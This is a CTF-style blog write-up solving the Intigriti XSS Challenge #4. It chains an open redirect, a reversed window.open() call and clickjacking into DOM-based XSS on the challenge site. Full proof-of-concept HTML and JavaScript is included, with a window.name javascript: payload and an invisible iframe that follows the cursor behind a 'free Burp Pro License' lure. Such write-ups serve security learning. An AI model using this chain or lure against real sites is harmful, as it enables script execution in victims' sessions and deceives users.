Intigriti XSS Challenge #4

A few days ago, I stumbled across a new XSS challenge by Intigriti. You could win a Burp license, so I gave it a try!

The challenge looked like this:

Here is the code in text form again:

1
2
3
4
5
6
7
8
9
(location.search == "") ? true : location = location.pathname;
var iframe = document.createElement("iframe");
var id = location.hash.substr(1);
var path = `/static/4/${id}.png`;
iframe.name = `Image :: ${id}`; iframe.src = path;
iframe.onclick = function(e){
window.open(this.contentWindow.name, this.src);
}
document.body.appendChild(iframe);

And there were also hints released on Twitter.

Overview

The provided endpoint contains an Open Redirect vulnerability that enables an attacker to craft a URL that redirects to any domain + path that is accesible via HTTPS.

The endpoint also contains another vulnerability that can be combined with the Open Redirect into a DOM-based XSS vulnerability. This lets an attacker execute arbitrary JavaScript in the context of the endpoint’s origin (https://challenge.intigriti.io). It requires user interaction, namely a click. A user can be easily tricked to do that interaction by using Click Jacking.

Vulnerabilities

Open Redirect

To abuse the Open Redirect, the attacker has to craft a URL in the form of https://challenge.intigriti.io//<domain>/<path>?<trigger>.

The values for <domain> and <path> can be chosen arbitrarily, but must describe a valid resource that is accessible via HTTPS. The value for <trigger> can be anything that is allowed in a URL query string. When visiting such a crafted URL, the first line of JavaScript performs the redirect, since the condition location.search === "" is not met.

Root Cause

The root cause of this vulnerability is the first line of JavaScript:

1
(location.search == "") ? true : location = location.pathname;

It checks whether the URL contains any query parameters and if so, it redirects to the path portion of the URL. It does so by setting the location to the path, which would normally do a relative redirect to <current-origin>/<path>. If we craft the path to start with //, this will make a difference. The browser will then only prepend the current page’s protocol (https:) instead of the origin. This way, we can redirect to any domain and path.

DOM-XSS

To abuse the DOM-XSS, the attacker has to craft a URL in the form of https://challenge.intigriti.io/#../..//<domain>/<path>?<trigger>. The values can be chosen as stated above. The URL https://<domain>/<path> should respond with an HTML page containing JavaScript that sets window.name to a payload such as javascript:alert(origin) and then redirects to any URL of the endpoint’s origin. Example:

1
2
3
4
5
<script>
const payload = 'alert(origin)';
window.name = `javascript:${payload}`;
location = 'https://challenge.intigriti.io/static/4/challenge.png';
</script>

When the victim opens such a crafted URL, it will pop an alert window showing the endoint’s origin as proof:

Root Cause

The root cause of this vulnerability is the wrong usage of window.open(). The first argument should be the URL and the second parameter should be the new window’s title. The JavaScript code does it the other way around:

1
window.open(this.contentWindow.name, this.src);

Combined with the Open Redirect, we can use that to craft a setup that replaces the iframe’s contentWindow.name with a javascript:-URL. This will lead to arbitrary JavaScript execution when the iframe is clicked. To create such a setup we use the Open Redirect to embed a page of our choice that then sets window.name accordingly. We then have to redirect that embedded page back into the origin of the embedding page, otherwise accessing contentWindow.name will lead to a security exception because of the Same Origin Policy, since the origins do not match.

Another problem that remains is the small area that the victim has to click: Since onclick event handlers do not really work for iframes, the user has to click the 2-pixel wide border of the iframe. This also leads to the funny fact that this XSS could be fixed with CSS:

1
2
3
iframe {
border: none;
}

Advanced Attack via Click Jacking

To make the attack more usable, we can use Click Jacking to increase the likelyhood of the click hitting the right pixels. The strategy is:

  1. embed the previously crafted URL in an iframe itself
  2. make that iframe invisible (or rather almost invisible, otherwise Click Jacking protections step in place)
  3. use JavaScript to always place the iframe’s top-left pixel under the user’s cursors when the mouse is moved

This way, the user can click anywhere in our page and the click will go through into the iframe, hitting the border of the iframe in it, causing the payload to be executed. Yes, my head also hurts from all those layers!

But we need to go deeper 🤷‍♂️ By adding another layer on top, we can use the Open Redirect again to craft a URL to the endpoint that will embed the Click Jacking page 🤯

This way, the victim is less likely to be suspicous about the URL we send them, but our ClickJacking + OpenRedirect + DOM-XSS still works 🎉

PoC

https://challenge.intigriti.io/#../..//pspaul.de/inti/?s

It is polished a little bit, so that the iframe re-positioning always works and there is a message that lures the visitor into really clicking:

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<div id="msg">Please wait a moment...</div>

<style>
html, body {
width: 100vw;
height: 100vh;
padding: 0;
margin: 0;
}
#msg {
padding: 1em;
}
iframe {
opacity: 0.001;
position: absolute;
border: none;
width: 100px;
height: 100px;
}
#clickMe {
position: absolute;
padding: 0;
margin: 0;
}
/*
* Use these helpers to capture mouse movements,
* even when they would be lost by going over
* the iframe's content.
*/
.helper {
position: absolute;
width: 99px;
height: 99px;
}
#helper1 {
top: 0px;
left: 1px;
}
#helper2 {
top: 1px;
left: 0px;
}
</style>

<div id="clickMe">
<iframe id="iframe" src="https://challenge.intigriti.io/#../..//pspaul.de/inti/setname.html?s"></iframe>
<div id="helper1" class="helper">&nbsp;</div>
<div id="helper2" class="helper">&nbsp;</div>
</div>

<script>
iframe.onload = () => {
iframe.onload = null;
msg.textContent = 'Click anywhere on this page to get a Burp Pro License for free!';
};
document.body.onmousemove = event => {
clickMe.style.left = `${event.pageX}px`;
clickMe.style.top = `${event.pageY}px`;
};
</script>

setname.html

1
2
3
4
5
6
7
8
9
<script>
const payload = 'alert(origin)';
// execute the payload in the original window and close this new one
const wrapper = `window.opener.setTimeout(() => { with (opener) { ${payload} } }, 10); close()`;
window.name = `javascript:${wrapper}`;

// redirect into the challenge origin to avoid SOP exceptions
location = 'https://challenge.intigriti.io/static/4/challenge.png';
</script>